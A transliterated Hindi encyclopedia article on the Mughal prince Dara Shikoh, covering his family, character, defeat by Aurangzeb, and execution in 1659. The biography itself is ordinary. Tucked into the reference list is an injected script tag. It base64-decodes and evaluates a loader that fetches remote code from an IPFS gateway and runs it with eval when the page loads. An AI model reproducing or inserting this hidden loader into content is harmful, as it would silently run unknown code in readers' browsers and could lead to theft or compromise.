दारा शिकोह
dara shikoh
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| poora nam | shahazada dara shikoh |
| janm | 20 march, 1615 ee. |
| mrityu tithi | 30 agast, 1659 ee.[1] athava 9 sitambar, 1659[2] |
| pita/mata | shahajahaan aur mumataz mahal |
| pati/patni | nadira banoo begam |
| dharmik manyata | islam dharm |
| yuddh | dharmat ka yuddh aur samoogadh ka yuddh |
| vansh | mugal vansh |
| sanbandhit lekh | akabar, barniyar, aurangazeb |
| any janakari | dara shikoh sabhi dharm aur mazahaboan ka adar karata tha aur hindoo dharm, darshan v eesaee dharm mean vishesh dilachaspi rakhata tha. |
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dara shikoh (aangrezi: Dara Shikoh, janm: 20 march, 1615; mrityu: 30 agast, 1659) mugal badashah shahajahaan aur mumataz mahal ka sabase b da putr tha. shahajahaan apane is putr ko bahut adhik chahata tha aur ise mugal vansh ka agala badashah banate hue dekhana chahata tha. shahajahaan bhi dara shikoh ko bahut priy tha. vah apane pita ko poora man-samman deta tha aur usake pratyek adesh ka palan karata tha. arambh mean dara shikoh panjab ka soobedar banaya gaya, jisaka shasan vah rajadhani se apane pratinidhiyoan ke zariye chalata tha.
vyaktitv
dara bahadur insan tha, aur bauddhik drishti se use apane prapitamah akabar ke gun virasat mean mile the. vah soofivad ki or unmukh tha aur islam ke hanafi panth ka anuyayi tha. itihasakar barniyar ne apani pustak 'barniyar ki bharat yatra' mean likha hai- 'dara mean achchhe gunoan ki kami nahian thi. vah mitabhashi, hazir javab, namr aur atyant udar purush tha. parantu apane ko vah bahut buddhiman aur samajhadar samajhata tha aur usako is bat ka ghamand tha ki apane buddhibal aur prayatn se vah har kam ka prabandh kar sakata hai. vah yah bhi samajhata tha ki jagath mean aisa koee vyakti nahian jo usako kisi bat ki shiksha de sake. jo log darate-darate use kuchh salah dene ka sahas kar baithate, unake sath vah bahut bura bartav karata tha. is karan usake sachche shubhachiantak bhi usake bhaiyoan ke yatnoan aur chaloan se use soochit n kar sake. vah darane aur dhamakane mean b da nipun tha, yahaan tak ki b de-b de umara ko bura bhala kahane aur unake apaman kar dalane mean bhi vah sankoch n karata tha parantu saubhagy ki bat yah thi, ki usaka krodh shighr hi shaant bhi ho jata tha.'[3]
aurangazeb ka virodh
dara shikoh sabhi dharm aur mazahaboan ka adar karata tha aur hindoo dharm, darshan v eesaee dharm mean vishesh dilachaspi rakhata tha. usake in udar vicharoan se kupit hokar kattarapanthi musalamanoan ne us par islam ke prati anastha phailane ka arop lagaya. is paristhiti ka dara ke tisare bhaee aurangazeb ne khoob fayada uthaya. dara ne 1653 ee. mean kandhar ki tisari gherabandi mean bhag liya tha. yadyapi vah is abhiyan mean vah viphal raha, phir bhi apane pita ka kripapatr bana raha. 1657 ee. mean jab shahajahaan bimar p da, to vah usake pas hi maujood rahata tha. thumb|left|250px|darshanikoan ke sath dara shikoh dara ki umr is samay 43 varsh ki thi aur vah pita ke takht-e-taoos ko uttaradhikar mean pane ki ummid rakhata tha. lekin tinoan chhote bhaiyoan, khasakar aurangazeb ne usake is dave ka virodh kiya.
palayan evan patni ki mrityu
isake phalasvaroop dara shikoh ko uttaradhikar ke lie apane bhaiyoan ke sath mean yuddh karana p da, lekin shahajahaan ke samarthan ke bavajood dara ki fauj 15 aprail, 1658 ee. ko dharmat ke yuddh mean aurangazeb aur murad bakhsh ki sanyukt fauj se parast ho gee. isake bad dara apane bagi bhaiyoan ko dabane ke lie dubara khud apane netritv mean shahi faujoan ke sath nikala, kintu is bar bhi use 29 mee, 1658 ee. ko samoogadh ke yuddh mean parajay ka muanh dekhana p da. is bar dara ke liye agara vapas lautana sambhav nahian tha. vah sharanarthi ban gaya aur panjab, kachchh, gujarat evan rajapootana mean bhatakane ke bad tisari bar phir ek b di sena taiyar karane mean saphal raha. dauraee mean aprail, 1659 ee. mean aurangazeb se usaki tisari aur akhiri muthabhe d huee. is bar bhi vah phir se hara. dara phir sharanarthi banakar apani jan bachane ke lie rajapootana aur kachchh hota hua sindh ki taraf bhaga. yahaan par usaki pyari nadira begam ka iantaqal ho gaya.
maut ki saza
dara shikoh ne dadar ke afagan saradar jivan khan ka atithy svikar kiya. kintu malik jivan khan gaddar sabit hua, aur usane dara ko aurangazeb ki fauj ke havale kar diya, jo is bich barabar usaka pichha kar rahi thi. dara ko bandi banakar dilli laya gaya, jahaan aurangazeb ke adesh par use bhikhari ki poshaq mean ek chhoti-si hathini par baithakar s dakoan par ghumaya gaya. isake bad mullaoan ke samane usake khilaf muqadama chalaya gaya. dharmadroh ke abhiyog mean mullaoan ne use maut ki saza di.
mrityu
30 agast, 1659 athava 9 sitambar, 1659 ko is saza ke tahat dara shikoh ka sir kat liya gaya. usaka b da putr suleman pahale se hi aurangazeb ka bandi tha. 1662 ee. mean aurangazeb ne jel mean usaki bhi hatya kar di. dara ke doosare putr separahar shikoh ko bakhsh diya gaya, jisaki shadi bad mean aurangazeb ki tisari l daki se huee.
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tika tippani aur sandarbh
- ↑ jooliyan kaileandar ke anusar
- ↑ gregori kaileandar ke anusar
- ↑ barniyar ki bharat yatra (hindi) (php) pustak.org. abhigaman tithi: 24.10, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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varnamala kramanusar lekh khoj
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